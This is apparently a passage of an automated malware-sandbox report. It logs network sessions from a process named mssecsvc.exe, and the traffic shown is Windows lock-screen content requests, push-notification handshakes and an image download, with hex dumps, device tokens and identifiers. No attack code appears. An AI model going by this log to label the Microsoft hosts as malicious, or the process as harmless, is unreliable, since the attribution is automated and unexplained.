2022-07-21 02:34:30 UTC	182	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-21 02:34:30 UTC	196	IN	Data Raw: 77 3a 42 45 38 41 42 38 44 46 2d 44 43 44 31 2d 33 35 32 33 2d 34 41 39 35 2d 33 41 30 34 45 41 46 46 31 43 42 41 26 44 53 5f 45 56 54 49 44 3d 31 63 30 64 61 62 34 32 64 39 34 39 34 62 63 62 61 37 38 34 61 32 61 33 36 37 37 61 66 33 37 62 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 44 38 35 30 41 42 42 43 2d 36 37 34 39 2d 34 42 34 39 2d 39 34 39 46 2d 39 36 30 36 30 42 30 37 38 44 43 30 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 36 30 35 32 30 43 38 44 39 43 32 32 34 39 31 44 42 32 37 39 38 45 36 37 36 46 42 46 44 35 30 38 26 52 Data Ascii: w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=1c0dab42d9494bcba784a2a3677af37b&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=D850ABBC-6749-4B49-949F-96060B078DC0&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=60520C8D9C22491DB2798E676FBFD508&R

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	50332	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:30 UTC	206	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113429Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=967c575fcaa545e8b023292634a6df93&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338388&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p= Cache-Control: no-cache MS-CV: aHso6AePA0agNiRf.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:34:30 UTC	208	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4487 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: g29cSmK/h2BVO1i8Pl8syEG/ELrP7288o9aZyKz8lejZjL7NcTyx8eQIDxPh9Yyjwb8BgN8TluJvoqoKPxVd4eH0LTPWteh+UTNWt66eKzdgJ1RfqsjemZq8MFNBj7NtC/8I2SdZgrF12G4xqFXmhwy9vJNaovB2Ld6aLCQvnnA5fUIILrf0bVy+tpxinryBFyjaCeeQG0hw3I5LRF+isQviyVIuQpiPHIiDZPTjlCcTwiPA8ecOEJJuE3OUGldIkWs3pVcGrO9nqXhRf3sPUvokBAbH2omvZWzvflCZtPV7Harkk85u7PgHu1noZZPQieax0lwKKO3i4HUR4es5bA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:34:30 GMT Connection: close
2022-07-21 02:34:30 UTC	209	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	50429	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:37 UTC	213	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 35 30 64 65 65 32 33 66 33 39 63 37 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: 1d50dee23f39c76
2022-07-21 02:34:37 UTC	213	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:37 UTC	213	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 35 30 64 65 65 32 33 66 33 39 63 37 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 4a Data Ascii: ATH 2 CON\DEVICE 1013Context: 1d50dee23f39c76<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaTJ
2022-07-21 02:34:37 UTC	214	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 38 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 35 30 64 65 65 32 33 66 33 39 63 37 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 28Context: 1d50dee23f39c76
2022-07-21 02:34:37 UTC	214	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:37 UTC	214	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 31 6e 65 4b 4d 75 4d 7a 45 2b 50 65 32 4b 50 72 53 44 77 46 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: h1neKMuMzE+Pe2KPrSDwFw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	50431	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:37 UTC	214	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 35 38 61 39 36 39 32 33 32 64 31 36 38 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 5458a969232d168f
2022-07-21 02:34:37 UTC	214	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:37 UTC	215	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 35 38 61 39 36 39 32 33 32 64 31 36 38 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 5458a969232d168f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:37 UTC	216	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 35 38 61 39 36 39 32 33 32 64 31 36 38 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 5458a969232d168f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:34:37 UTC	216	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:37 UTC	216	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 73 53 62 50 4c 4a 78 4f 45 4b 2f 65 52 62 6f 42 4a 42 66 71 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: usSbPLJxOEK/eRboBJBfqw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	50548	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:44 UTC	216	OUT	GET /cms/api/am/imageFileData/RE4Ivzm?ver=ad40 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:44 UTC	218	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Jul 2022 19:14:02 GMT X-Datacenter: northeu X-ActivityId: fba6d4ec-86a2-4e07-a304-daa336e5dd60 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Ivzm?ver=ad40 X-Source-Length: 1039015 Content-Length: 1039015 Cache-Control: public, max-age=405511 Expires: Mon, 25 Jul 2022 19:13:15 GMT Date: Thu, 21 Jul 2022 02:34:44 GMT Connection: close
2022-07-21 02:34:44 UTC	218	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-21 02:34:44 UTC	250	IN	Data Raw: f7 91 ab 03 48 d6 93 c4 f6 7a 95 de ab 73 f7 1f 7f d9 fc c7 d8 9f 3f dd dd 8f 97 fd da cb bc d0 ee 2c ec e4 b8 d5 64 b8 fe d5 fe d7 7b a7 92 df 62 3d dd bb 7d ff 00 bb f7 3d ab b0 b1 b8 11 db 5e c5 75 6d fb 84 7f 32 d7 ec df 3a 3e d4 f9 7e 7f e2 ff 00 7b f8 6b d6 9c 29 52 87 34 35 6f aa fd 0e 6e 69 48 d4 bc d6 91 ed b4 8d f6 32 49 a6 db 3b 3c d1 dc c9 f3 ec d9 f2 42 cb d7 e7 ed 5e 7b f1 6e c7 c4 cf e0 5b dd 3f fb 7f fb 3b 42 87 50 5b ab 5d 3b cb 4d f2 5d ff 00 12 96 e3 e5 1e d5 de 68 f6 f7 91 eb 52 45 77 2f d9 e7 bc 87 e7 b8 8e 4d ef f2 ff 00 ac e7 ee ef 0b d2 bc e7 59 8f 54 6f 14 ea 3f db f6 f7 17 8f a3 5d 7d 97 fb 3e 4f ee 6c da b3 a6 78 5f 31 69 e5 ff 00 bb ab cf 1b 7b ba f7 be bd 3f 2b 87 37 ba 76 3a 5a c4 3c 15 f3 5c c9 f6 2b 68 22 9b ec f1 dc 3a 3c Data Ascii: Hzs?,d{b=}=^um2:>~{k)R45oniH2I;<B^{n[?;BP[];M]hREw/MYTo?]}>Olx_1i{?+7v:Z<\+h":<
2022-07-21 02:34:44 UTC	282	IN	Data Raw: 58 b8 d4 99 24 b8 b3 d3 b7 f9 96 d2 49 bf 7c 6f 27 de f9 47 cb b8 fd d1 5c b1 8f b6 a9 18 af 83 fa 45 ca 5e ef 2f 52 97 c4 2b 6d 6f 56 8f 48 b5 f0 85 b5 c5 ec 17 88 b2 4f 6f 6f 1a a3 e9 a9 ff 00 2c b7 3f ba f5 6a d3 f0 f7 89 9e d7 c1 fa b5 a5 9c 52 5b f8 ca 17 fd fd c5 c5 e6 f4 93 c8 c7 ee db f8 56 a8 fc 35 d1 f5 1d 4a e7 48 b5 49 24 d0 ad 6c ed 99 3f d1 ee 3c e9 b6 7f 7b fd df fd 9a b2 a2 f1 55 c5 94 ba b6 8e f6 56 f7 12 4d 7a 90 41 79 e6 26 c9 df ee b3 36 ce 1f 0b fa d7 ae e2 a7 1f aa c6 29 f2 6b eb af 5e 86 34 ea 72 fc cd 6d 57 52 4d 72 ce db 40 6b 2b 7d 1e ea f2 4d f3 59 c7 23 ff 00 aa ef 10 93 8d cd bb a7 35 a1 af 68 f3 5d 68 ba 4d ff 00 83 bc cf b7 da ee b5 fd d4 7b 12 04 ff 00 9e 66 33 f7 bf de e5 aa 18 7c 3f 79 e3 8d 46 df 5d d2 a2 fb 40 f0 bb cb Data Ascii: X$I\|o'G\E^/R+moVHOoo,?jR[V5JHI$l?<{UVMzAy&6)k^4rmWRMr@k+}MY#5h]hM{f3\|?yF]@
2022-07-21 02:34:44 UTC	303	IN	Data Raw: 2d e7 99 3e 4b cf 31 37 c6 ed f7 45 75 56 2e 9a 0e 83 2c 0d ff 00 1f 70 a2 6f bc b6 ff 00 67 fb bf d6 b9 28 e6 b4 7b 1b 69 65 b2 f9 2f 2e bc 8f 2e df ef bf c9 fe b1 9b fb be 95 de 78 7e c5 d6 3f b3 ff 00 cb 3f 22 59 3e d1 24 9b fe 45 af 37 15 17 64 a3 b5 f6 3b 29 47 dd 31 7c 7d 1c de 24 b2 89 6c ad bc c9 e6 4f 31 24 f2 f6 27 f9 f7 ad 3d 37 5b d3 75 2f 0b e9 a9 2d cc 7f da 50 a7 97 34 72 47 bf cb db f7 be 66 fb ca 68 86 1d 4b c6 5a 4c 5a 57 fc 79 da 27 ee 2c bc d8 f6 6c da 9c ff 00 c0 6a 86 87 a6 da 43 a8 5c de 5d 49 1c 69 6d 0f 90 f6 ff 00 7d 36 2f f1 c6 d5 cc f9 63 47 d9 cb ec bd 02 a7 34 3e 67 23 0b 5e 5c 59 ea fa 93 d9 62 3b c8 5d d2 de 39 3e fa 2f 1b 87 fb 55 4b 5d f1 04 30 f8 3e da cb 4b b6 92 df 52 bc f2 a7 49 3e 48 7c b7 54 fb ad f5 5f ce ba 8f 06 Data Ascii: ->K17EuV.,pog({ie/..x~??"Y>$E7d;)G1\|}$lO1$'=7[u/-P4rGfhKZLZWy',ljC\]Iim}6/cG4>g#^\Yb;]9>/UK]0>KRI>H\|T_
2022-07-21 02:34:44 UTC	405	IN	Data Raw: da cf fd 4c d3 ba bf cc 9f 35 67 8a 93 96 21 d4 5f 0d fd 57 f5 ff 00 0e 38 c7 96 25 19 b5 bd 37 c1 56 31 7d 8a e6 4d 46 c6 f7 f7 8f 6f 73 1e f7 8f 73 ff 00 cf 5a e9 34 7b 0b 0f 16 59 6a 52 cb e5 db e9 70 c2 fb 3f 8e 1f b9 b8 bc 4f 5e 53 e2 0d 4b 54 bc f0 a5 b6 9f 2e 93 f6 7b e7 9f 64 11 c7 1e cd 88 ae 78 77 ae ff 00 c2 b0 ea 57 16 b6 d2 da 79 71 d8 c2 8d 04 d6 7e 66 ff 00 bd c7 fc 0a 96 2e 87 b3 a7 ed 5c ad 2b bd 6e 14 b5 39 1d 6e 13 af c9 a9 59 5e 5b de 6b 3a 1c 09 e7 c3 25 c5 bf c9 fd df 95 7a d6 cf c3 1f 26 da e6 e7 4d b2 8e 4f b2 5b 43 14 90 5c 47 f2 3f ef 3a 45 fe df d6 bb bb cd 2f fb 6a c7 40 df 27 96 96 ce d0 3c 77 bf 73 e5 fb ac ff 00 dd 5a f1 7d 37 58 8a fb c6 12 5a e9 fe 64 91 c3 3b 79 1f 62 fb 9f 7f 2c 79 ff 00 6a ba 28 d5 fa e6 1a 74 d2 b2 5f Data Ascii: L5g!_W8%7V1}MFossZ4{YjRp?O^SKT.{dxwWyq~f.\+n9nY^[k:%z&MO[C\G?:E/j@'<wsZ}7XZd;yb,yj(t_
2022-07-21 02:34:44 UTC	471	IN	Data Raw: 64 b6 a0 9a d6 8b 2c 3e 6d 9c 77 49 04 49 0c 97 12 23 f9 13 37 de c7 f1 36 2a d4 3e 2c 4d 57 5e 8e d2 de 3b c9 12 f2 c9 b7 c7 fc 10 4c bf 76 b8 85 d0 f5 5f 0a f8 92 db ca b2 8e e2 eb 63 7f c4 d3 cb d9 b1 1b f8 55 5b e5 7a d7 0d 49 b5 28 d4 b2 97 c4 bf af 97 f9 1c d5 0d df 07 a5 dd be a5 7d 2f 89 35 6b 7f 31 e7 4d 91 db c7 fb 9b bf e1 59 7f d9 ae 83 56 d4 ae 7c 2b 71 2d d5 be 9b 24 77 50 c3 b2 eb fe 7d bf 79 fc 4b be b2 34 59 ad bf e1 17 8b 5f d3 7c bd f7 8e b6 a9 f6 7f ee 2f f1 32 37 dd 61 d4 d4 3f 10 75 8f f8 4e 8c 7a 2d ec 71 dc 4e 89 e4 4d 25 c4 8f 6c 9f 2f f1 61 78 75 fa d3 94 3d be 27 df 8f bb b3 f2 b7 91 ac 79 a3 13 3e d7 c5 cf e3 5b 1b 9b 2d 52 e7 cc 81 26 8a 0f b4 47 f2 24 9b 7e eb 71 f7 da ba 2b 0b 6f 27 f7 32 dc c9 fd 9b 0d d7 fa cf 31 d3 cc f9 Data Ascii: d,>mwII#76*>,MW^;Lv_cU[zI(}/5k1MYV\|+q-$wP}yK4Y_\|/27a?uNz-qNM%l/axu='y>[-R&G$~q+o'21
